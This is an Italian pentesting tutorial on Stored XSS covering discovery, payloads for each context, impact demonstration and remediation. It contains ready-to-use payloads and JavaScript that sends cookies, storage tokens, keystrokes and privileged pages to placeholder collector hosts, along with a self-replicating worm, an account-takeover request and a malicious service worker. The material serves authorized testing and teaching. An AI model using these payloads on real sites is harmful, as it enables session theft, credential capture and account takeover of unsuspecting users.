Stored XSS: Discovery, Pentest, Script e PoC di Exfiltration

XSS Stored: payload per contesto, cheat sheet completa, exfiltration (cookie, sendBeacon, CSS, blind XSS OOB), PoC pratiche e remediation per pentester.
- Pubblicato il 2026-03-21
- Tempo di lettura: 12 min
Stored XSS (XSS Persistente): Payload, Contesti e Remediation #
Una Stored XSS (o XSS Persistente) si verifica quando un’applicazione conserva dati provenienti da una fonte non attendibile e li inserisce successivamente in una risposta o in un contesto del browser senza le protezioni appropriate. Se il browser interpreta quei dati come codice eseguibile, lo script gira nell’origine dell’applicazione vulnerabile — e gira per ogni visitatore che raggiunge quella pagina, senza bisogno che nessuno clicchi un link malevolo.
I dati possono provenire da commenti, profili, messaggi, nomi file, ticket, log o qualunque altro storage che poi finisce renderizzato in un’interfaccia web. L’impatto dipende da quali pagine mostrano quel contenuto, quali utenti le raggiungono e cosa permette il contesto vulnerabile — non tutti i visitatori sono necessariamente esposti, e la sola persistenza del dato non dimostra che il payload venga eseguito: va verificato.
A differenza del Reflected XSS — dove la vittima deve cliccare un URL costruito ad hoc — lo Stored non richiede interazione mirata: una volta che il payload è salvato, l’attaccante non fa più nulla. Lavora da solo su chiunque raggiunga quel punto di output — un utente qualsiasi, ma anche un admin che modera, un bot, un generatore di report. È la base dei worm web: payload auto-replicanti che si propagano da profilo a profilo senza intervento umano, quando l’applicazione lo permette.
Satellite della guida completa XSS .
Discovery: cosa cercare e come testarlo #
La regola è semplice: se un campo viene salvato da qualche parte e poi renderizzato in una pagina HTML — non necessariamente nello stesso punto dove l’utente lo ha inserito — è un candidato per Stored XSS.
Punti classici ad alta probabilità: commenti e recensioni (blog, e-commerce, forum), messaggi di chat (chat interne, supporto, ticketing), profilo utente (nome, bio, indirizzo, “about me”), nome del file caricato (es. filename: "<img src=x onerror=alert(1)>.jpg"), titolo di post e articoli (CMS, piattaforme di contenuti), campi di feedback o segnalazione (“descrivi il problema”), note interne (CRM, project management, strumenti HR).
Punti meno ovvi ma altrettanto frequenti: lo User-Agent, se viene loggato e mostrato in una dashboard admin; l’header Referer, se compare nei report; il nome del dispositivo (es. “iPhone di <script>alert(1)</script>”); il campo azienda o ruolo in una directory interna; l’indirizzo di spedizione mostrato nella conferma d’ordine; i log delle ricerche, se l’admin li visualizza; un URL di webhook o callback, se compare in un pannello di configurazione; export CSV/PDF generati lato server, dove il dato viene reincorporato in un documento; e le email di notifica HTML, dove un campo salvato finisce nel template inviato.
Per testarli sistematicamente: registra un account e compila ogni campo con una stringa unica — ad esempio hackita_name_xss7 nel nome, hackita_bio_xss7 nella bio, hackita_comment_xss7 nel commento. Poi visita ogni pagina dove quei campi potrebbero riaffiorare: il tuo stesso profilo, il tuo profilo visto da un secondo account di test, la lista utenti vista dall’admin (se hai quel ruolo in laboratorio), la pagina del commento, l’email di notifica se i campi finiscono nei template, e il pannello admin — dashboard, report, audit log, export. Cerca la stringa nella risposta: se compare senza encoding, hai un candidato, e passi al payload giusto per quel contesto specifico.
Injection — payload per contesto #
Il campo finisce in HTML #
<!-- Comment, bio, name rendered directly into the DOM: -->
<div>YOUR_INPUT</div>
<!-- Payloads: -->
<script>alert(document.domain)</script>
<img src=x onerror=alert(document.domain)>
<svg onload=alert(document.domain)>Il campo finisce in un attributo #
<!-- Username inside an attribute: -->
<span title="YOUR_INPUT">Username</span>
<!-- Payloads: -->
" onmouseover=alert(1) style="position:fixed;width:100%;height:100%
" onfocus=alert(1) autofocus="Il campo finisce in Markdown/rich text #
<!-- Markdown renderers that emit raw HTML for certain constructs: -->
[Click me](javascript:alert(1))
)
<details open ontoggle=alert(1)>test</details>
<!-- WYSIWYG editors (TinyMCE, CKEditor, Quill) often allow-list tags
but forget to strip event-handler attributes: -->
<div contenteditable onblur=alert(1)>click here</div>Nota: nessuno di questi payload è universale. Il comportamento dipende dal parser Markdown specifico, dalla configurazione del sanitizzatore lato server o client, e dal contesto finale in cui il risultato viene inserito. Verifica sempre con un marker innocuo prima di assumere che un editor sia vulnerabile.
Il campo è il nome di un file #
# Upload a file with a crafted name:
filename: '"><img src=x onerror=alert(1)>.jpg'
# Vulnerable ONLY if the application later embeds that filename raw into
# HTML (e.g. "File caricato: <filename>"). If the filename instead ends up
# in a Content-Disposition header, in a JSON field, or is HTML-escaped
# before rendering, this is not exploitable through that path.Polyglot — payload che sopravvive a più contesti #
Utile in discovery quando non sai ancora in quale contesto atterra l’input:
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */onerror=alert(document.domain) )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert(document.domain)//>\x3eUn polyglot di questo tipo è pensato per attivarsi che il valore finisca dentro un tag <script>, un attributo, un commento HTML, un <style>, o testo libero. Se scatta, hai un punto di injection confermato — poi affina il payload sul contesto reale osservato.
Analizzare il contesto prima di confermare la vulnerabilità #
Qui si gioca la differenza tra un report credibile e uno gonfiato. Tre livelli distinti, da non confondere:
Livello 1 — Il marker viene riflesso senza encoding. Inserisci una stringa innocua (hackita_xss_test) e la trovi nella risposta HTML tale e quale. Prova solo che il dato attraversa l’applicazione senza essere rimosso — non prova interpretazione come codice.
Livello 2 — Markup HTML interpretato. Inserisci <b>test</b> e il testo appare effettivamente in grassetto nella pagina. Questo prova che il browser ha interpretato HTML in quel punto — un’evidenza importante, ma ancora non prova esecuzione di JavaScript: molti sanitizzatori permettono tag di formattazione (<b>, <i>, <p>) e bloccano <script>/eventi, per design.
Livello 3 — Esecuzione di codice confermata. Solo un payload che esegue JavaScript (alert(document.domain) che apre un popup, o un effetto osservabile equivalente) in un browser di test conferma la XSS. Verificalo anche con un secondo account/sessione diversa dalla tua, e dopo una nuova richiesta alla pagina — questo distingue la persistenza reale dalla semplice reflection nella risposta immediata al salvataggio.
Se il marker riappare solo dopo manipolazione lato client (framework JS che genera markup a runtime, non nella risposta HTML grezza del server), stai probabilmente guardando un sink DOM-based piuttosto che uno Stored classico — vedi la guida DOM-Based XSS per quella distinzione specifica.
Un esempio di come appare una conferma di Livello 3 in laboratorio (valori simulati, non estratti da un sistema reale):
# Example request saving a payload in a review field
$ curl -X POST "https://lab.local/api/products/42/reviews" \
-H "Authorization: Bearer PLACEHOLDER_TOKEN" \
-d '{"rating":5,"text":"Great product! <img src=x onerror=alert(document.domain)>"}'
{"status":"Review published"}Impatto della Stored XSS: capacità, limiti ed exfiltration #
Una volta confermata l’esecuzione (Livello 3), il passo successivo è dimostrare cosa quella esecuzione permette in quel contesto specifico — non assumere l’impatto peggiore possibile. Tutto qui sotto va eseguito solo in laboratorio autorizzato o in un engagement con scope esplicito; sono tecniche di esfiltrazione e persistenza reali, trattale di conseguenza.
Cookie ed exfiltration di sessione #
// Classic beacon via Image — works even with strict CSP img-src *,
// fails silently if img-src is restricted to self/specific hosts
new Image().src = 'https://collector.example/c?c=' + encodeURIComponent(document.cookie) + '&u=' + encodeURIComponent(location.href);// navigator.sendBeacon -- more reliable than fetch/Image when the page
// is about to unload (the browser guarantees delivery in the background),
// and it doesn't block page navigation
navigator.sendBeacon('https://collector.example/c', JSON.stringify({
cookie: document.cookie,
url: location.href
}));// fetch with keepalive -- similar guarantee to sendBeacon, useful when
// you need a custom method/headers that sendBeacon doesn't support
fetch('https://collector.example/c', {
method: 'POST',
keepalive: true,
body: JSON.stringify({ cookie: document.cookie, url: location.href })
});Limite da conoscere: HttpOnly. L’attributo HttpOnly impedisce la lettura del cookie tramite document.cookie, riducendo il rischio di furto diretto — ma non elimina la vulnerabilità. Un payload XSS eseguito nell’origine dell’applicazione può comunque interagire con il DOM, leggere token CSRF visibili in pagina, effettuare richieste autenticate same-origin per conto dell’utente (il browser allega comunque i cookie HttpOnly a quelle richieste, anche se lo script non può leggerli) e accedere a qualunque dato nel DOM. Verifica sempre l’impatto reale anche quando HttpOnly è presente, invece di dare per scontato che blocchi tutto. Un cookie di sessione esfiltrato con successo porta dritto a un Session Hijacking
— a quel punto la metodologia di conferma dell’impatto è quella della guida dedicata, non più quella dello XSS.
Exfiltration oltre i cookie — cosa altro vive nel DOM #
// Dump everything the page keeps in client-side storage, not just cookies
const dump = {
localStorage: {...localStorage},
sessionStorage: {...sessionStorage},
// many SPAs embed API tokens or CSRF tokens directly in the DOM or in
// inline <script> blocks -- grep for common patterns
inlineTokens: [...document.querySelectorAll('meta[name*="token" i], meta[name*="csrf" i]')]
.map(m => m.outerHTML)
};
navigator.sendBeacon('https://collector.example/dump', JSON.stringify(dump));localStorage/sessionStorage spesso contengono JWT, token API, feature flag con informazioni interne — in molte SPA moderne è un bersaglio più ricco del cookie di sessione stesso.
Keylogger persistente #
document.addEventListener('keypress', function (e) {
navigator.sendBeacon('https://collector.example/k', JSON.stringify({
key: e.key, page: location.pathname, time: Date.now()
}));
});
// Captures every keystroke on this page for every visitor who loads it --
// including anything typed into forms sharing the same page, password
// fields included. HttpOnly on the session cookie does not mitigate this:
// the keylogger reads input events directly, never touches document.cookie.
Account takeover #
// Attempt: change the account email via an authenticated same-origin
// request, relying on the victim's session
fetch('/api/account/settings', {
method: 'PUT',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ email: 'attacker@collector.example' })
}).then(r => navigator.sendBeacon('https://collector.example/ato', 'status=' + r.status));Uno status 200 su questa richiesta non equivale a un account preso: molte app richiedono conferma via email al vecchio indirizzo, la password attuale, un secondo fattore o un token dedicato per cambiare l’email. Nel report tieni distinte le due frasi — “l’endpoint accetta la richiesta” e “ho preso l’account” — e scrivi solo quella che hai effettivamente dimostrato. C’è anche una differenza di meccanismo rispetto a CSRF
: lì l’attaccante non legge mai la risposta, qui lo script gira dentro l’origine stessa e vede tutto — per questo un token anti-CSRF da solo non ferma una richiesta lanciata da uno XSS.
XSS worm (auto-replicante) #
// Replicates the payload into the victim's own profile
const worm = '<script>' + document.currentScript.textContent + '<\/script>';
fetch('/api/profile', {
method: 'PUT',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ bio: worm })
});
// Visitor A reads the comment -> A's profile gets infected
// Visitor B reads A's profile -> B gets infected too
// Whether this actually cascades depends entirely on whether other
// users' browsers reach the infected field and whether the app allows
// the same write -- demonstrate it in a controlled lab with a handful
// of test accounts, don't claim exponential spread without measuring it
Blind XSS — quando il payload esegue dove tu non vedi #
Molti dei punti elencati all’inizio (log, pannelli admin, export, email interne) vengono visualizzati da un processo o un operatore che l’attaccante non può osservare direttamente. In questi casi serve un payload che segnali l’esecuzione out-of-band, senza bisogno di guardare la pagina:
// Minimal OOB beacon, works even if you never see the rendering context
new Image().src = 'https://YOUR-SUBDOMAIN.oob-listener.example/hit?src=' + encodeURIComponent(location.href);Strumenti dedicati a questo esattamente (XSS Hunter Express, o un canale OOB generico tipo Interactsh/Burp Collaborator) ti danno un endpoint univoco per payload, e registrano automaticamente cookie, URL, user-agent e DOM della pagina in cui il payload è scattato — indispensabili per i campi destinati a un pannello admin o a un sistema di moderazione dove non hai accesso diretto.
Il workflow è semplice: genera un payload univoco per ogni campo che stai testando, così se scatta sai esattamente da quale campo arriva. Inserisci il payload in ogni campo candidato — supporto, segnalazioni, user-agent, nome file, note interne. Poi aspetta: il payload può scattare ore o giorni dopo, quando un amministratore o un processo batch raggiunge quel dato. Alla notifica OOB hai sia la conferma dell’esecuzione sia il contesto in cui è scattata — quale pannello, quale sessione, quale DOM.
Exfiltration sotto CSP restrittiva #
Se l’applicazione ha una Content Security Policy che blocca script-src in modo efficace ma il tuo payload gira comunque (es. via un sink che bypassa la policy, o perché la CSP ha una falla), l’esfiltrazione via fetch/Image verso un dominio esterno può essere bloccata da connect-src/img-src. Alternative da conoscere, non da usare come default:
/* CSS-only exfiltration -- works even when script-src blocks all JS,
if style-src/unsafe-inline (or an injectable <style>) is reachable.
Attribute selectors leak character-by-character via background-image
requests triggered only when the selector matches. */
input[name="csrf_token"][value^="a"] { background: url(https://collector.example/leak?c=a); }
input[name="csrf_token"][value^="b"] { background: url(https://collector.example/leak?c=b); }
/* ... one rule per candidate character, observed server-side by which
request arrives -- slow, but viable when JS exfil is fully blocked */// postMessage exfiltration via an attacker-controlled iframe, useful when
// connect-src/img-src block arbitrary external hosts but frame-src allows
// your own domain already loaded elsewhere in the page
window.parent.postMessage({ leak: document.cookie }, 'https://attacker-controlled.example');Queste varianti servono a documentare che una CSP è aggirabile o incompleta, non a sostituire la correzione: se noti che una CSP blocca l’esfiltrazione diretta, segnalalo come mitigazione parziale funzionante nel report, non come un ostacolo da scavalcare a tutti i costi.
Esfiltrare dati voluminosi — chunking nel nome di una finta immagine #
I beacon visti finora vanno bene per un cookie o un token, ma per dati più grandi (l’intero contenuto di una pagina privilegiata che la vittima può leggere e tu no) serve un canale diverso. TrustedSec descrive una variante efficace proprio per questo caso: lo script caricato dal payload fa una richiesta XHR verso la pagina riservata accessibile solo dalla vittima, codifica la risposta in base64 con btoa, e la spezza in blocchi di circa 2.000 caratteri — il limite pratico per un nome file. Ogni blocco viene poi richiesto come se fosse un’immagine inesistente, con il dato codificato nel nome del file e un indice nel percorso, così i blocchi arrivano in qualunque ordine e puoi ricostruirli lato server.
// Fetches a privileged page the victim can read but the attacker cannot,
// then exfiltrates it in chunks disguised as missing-image requests
fetch('/admin/privileged-page')
.then(r => r.text())
.then(text => {
const encoded = btoa(text);
const chunkSize = 2000;
for (let i = 0; i * chunkSize < encoded.length; i++) {
const chunk = encoded.slice(i * chunkSize, (i + 1) * chunkSize);
new Image().src = `https://collector.example/exfil/${i}/${chunk}.jpg`;
}
});Il vantaggio: ogni richiesta è un semplice GET di un’immagine, senza bisogno di un body HTTP, e l’ordine di arrivo non conta perché l’indice è nel percorso. Il limite dichiarato dagli stessi autori: molte richieste di immagini inesistenti con nomi anomali generano una scia di 404 potenzialmente visibile a un team di detection — da tenere in conto se devi restare sotto una certa soglia di rumore. Fonte: TrustedSec — Simple Data Exfiltration through XSS .
Persistenza oltre la sessione — Service Worker #
Un payload che registra un Service Worker malevolo sopravvive anche dopo che il campo vulnerabile viene bonificato, perché il worker resta attivo per l’origine finché non viene esplicitamente deregistrato:
// Registers a malicious service worker scoped to the vulnerable origin.
// Requires HTTPS and a same-origin script URL to register from, but the
// worker script content can be served from a path the attacker controls
// if any upload/write primitive on that origin allows it.
if ('serviceWorker' in navigator) {
navigator.serviceWorker.register('/evil-sw.js');
}Questa tecnica va documentata con particolare attenzione: dimostra un impatto di persistenza reale (il worker continua a intercettare richieste anche dopo la rimozione del payload originale), ma richiede che l’attaccante riesca a far ospitare evil-sw.js sulla stessa origine.
Un’ultima conferma, questa volta da un ascoltatore blind XSS (formato illustrativo):
[hit] field=support_ticket_description session=PLACEHOLDER url=https://lab.local/admin/tickets/118Catene d’impatto — scenari condizionali #
Recensione infetta → sessione admin → accesso al pannello. Richiede tre condizioni insieme: la XSS Stored confermata a Livello 3 nel campo recensione, un account con ruolo admin che visita effettivamente quella pagina (moderazione, dashboard prodotti), e una sessione admin priva di protezioni aggiuntive — MFA step-up, allowlist IP — che bloccherebbero le richieste eseguite dal payload. Solo se tutte e tre reggono, le richieste autenticate come admin diventano possibili dal contesto del payload: l’estensione reale dell’accesso, come un export dati, va comunque verificata punto per punto contro i permessi effettivi di quella sessione, non assunta.
Bio infetta → propagazione tra profili. Serve la XSS Stored confermata nel campo “bio”, un endpoint di scrittura del profilo che accetta lo stesso payload senza ulteriore sanitizzazione, e un numero sufficiente di altri utenti che visitano effettivamente i profili infettati da osservare propagazione. Se tutto regge, la propagazione è dimostrabile con un numero controllato di account di test — ma qualunque proiezione numerica (“N profili in 24 ore”) richiede una misura reale nel tuo ambiente di laboratorio, non una stima.
Chat interna → keylogger → furto credenziali. Serve la XSS Stored confermata in un messaggio persistente, altri dipendenti che aprono effettivamente quel canale, e che la pagina della chat condivida il contesto con form che raccolgono credenziali — altrimenti il keylogger cattura solo testo libero nel canale, non password. Solo con tutte e tre le condizioni la cattura di input su quella pagina è confermata nei limiti osservati.
Scenario dimostrativo (illustrativo) #
Questo scenario è costruito per mostrare come si concatena l’impatto — non è un test eseguito contro un sistema reale né un caso documentato.
Ipotesi: e-commerce con sezione recensioni, campo testo senza sanitizzazione HTML. Un payload <img src=x onerror=...> inserito in una recensione.
Se confermato (Livello 3): ogni visitatore della pagina prodotto eseguirebbe il payload. Se un account di moderazione visitasse la stessa pagina, le richieste eseguite dal payload girerebbero nel suo contesto — l’estensione reale (accesso a dati, export) dipenderebbe dai permessi di quella sessione specifica, da verificare singolarmente.
Limiti dello scenario: nessun numero di sessioni, utenti coinvolti o dati esposti è qui affermato come reale — qualunque cifra richiederebbe una misura effettiva in un ambiente di test documentato.
Come prevenire e correggere una Stored XSS #
- Output encoding contestuale. Usa l’escaping automatico del framework o una libreria dedicata al contesto di destinazione (HTML, attributo, JavaScript, URL). Non inserire mai dati non attendibili direttamente in uno di questi contesti senza encoding.
- Sanitizzazione HTML quando serve markup. Se gli utenti devono poter inserire formattazione, usa un sanitizzatore mantenuto attivamente (es. DOMPurify) configurato con un allow-list minima di tag/attributi. Non post-processare l’output sanitizzato in un modo che possa reintrodurre markup pericoloso.
- Rendering sicuro lato client. Per testo semplice preferisci
textContentainnerHTML. Se serve HTML formattato, sanitizza prima di inserirlo nel DOM, non dopo. - Content Security Policy e Trusted Types come difesa aggiuntiva, non sostitutiva: una CSP ben configurata (niente
unsafe-inline, nonce o hash per gli script legittimi) riduce le opportunità di esecuzione, ma non sostituisce l’encoding/sanitizzazione corretti a monte. HttpOnlyeSecuresui cookie di sessione come riduzione del danno, sapendo che non eliminano la vulnerabilità sottostante.- Verifica dopo la correzione su tutti i punti di output, inclusi pannelli admin, log, export ed email — non solo la pagina dove il dato è stato inserito.
Checklist Stored XSS #
Discovery
- Ogni campo persistito identificato (commenti, profilo, chat, filename, note, header)
- Ogni punto di output mappato (pagina pubblica, admin, email, export, log)
- Marker univoco inserito per campo, reflection verificata in ogni contesto
Analisi del contesto
- Markup HTML interpretato (
<b>test</b>) distinto da esecuzione JS confermata - Contesto di output identificato (HTML, attributo, JS, URL, DOM client-side)
Conferma esecuzione
- Payload di esecuzione confermato in browser di test, non solo markup renderizzato
- Persistenza verificata con secondo account e nuova richiesta, non solo reflection immediata
- Per campi non osservabili direttamente: canale OOB/blind XSS usato
Impatto
- Cosa è leggibile nel DOM (token, localStorage/sessionStorage) documentato
- Richieste same-origin autenticate testate, con lo status code osservato
- Effetto reale di
HttpOnlydocumentato caso per caso, non dato per scontato - Account takeover: controllata la presenza di riautenticazione/MFA prima di dichiararlo riuscito
- Propagazione worm dimostrata con account di test controllati, non stimata a tavolino
Reporting
- Ogni catena d’impatto riporta i suoi prerequisiti
- Output simulato/scenario ipotetico etichettato come tale
- Remediation specifica per il contesto di output coinvolto
FAQ #
XSS Stored vs Reflected: qual è la differenza? Nello Stored il payload è salvato lato server (DB, log, file) e colpisce chiunque visiti la pagina che lo renderizza, senza bisogno di un link malevolo. Nel Reflected il payload viaggia nella richiesta stessa (query string, body) e viene rispecchiato subito nella risposta: serve che la vittima clicchi un URL o invii un form craftato ad hoc. Lo Stored è generalmente più pericoloso perché non richiede interazione mirata per ogni vittima.
Qual è un esempio pratico di XSS Stored?
Un campo commento che accetta <img src=x onerror=alert(document.domain)> senza sanitizzazione, e lo visualizza as-is a ogni utente che apre quella pagina: il payload esegue nel browser di chiunque legga il commento, non solo di chi l’ha scritto.
Cos’è un XSS Stored CWE? Rientra in CWE-79 (Improper Neutralization of Input During Web Page Generation), la categoria MITRE per il Cross-Site Scripting in generale — Stored, Reflected e DOM-based sono varianti dello stesso CWE, distinte dal punto in cui il dato non attendibile viene persistito e poi renderizzato.
Come si calcola il CVSS di una Stored XSS? Varia caso per caso: dipende da vettore d’attacco (di solito Network), privilegi richiesti per inserire il payload, interazione utente necessaria (spesso None, proprio perché è Stored) e soprattutto dall’impatto osservato su riservatezza/integrità/disponibilità nel contesto specifico — una Stored XSS che raggiunge un pannello admin pesa molto di più di una confinata al profilo dell’utente stesso. Non esiste un punteggio fisso “per categoria”: va calcolato sul CVSS Calculator in base a cosa hai effettivamente dimostrato.
Come scrivere lo <script> giusto per testare una Stored XSS?
Parti da un payload semplice per confermare l’esecuzione (<script>alert(document.domain)</script> o <img src=x onerror=alert(document.domain)> se <script> viene filtrato), poi adatta al contesto reale osservato (HTML, attributo, JS inline) prima di passare a exfiltration — vedi la sezione sui payload per contesto
sopra.
Riferimenti: PortSwigger Stored XSS , OWASP XSS Prevention Cheat Sheet .








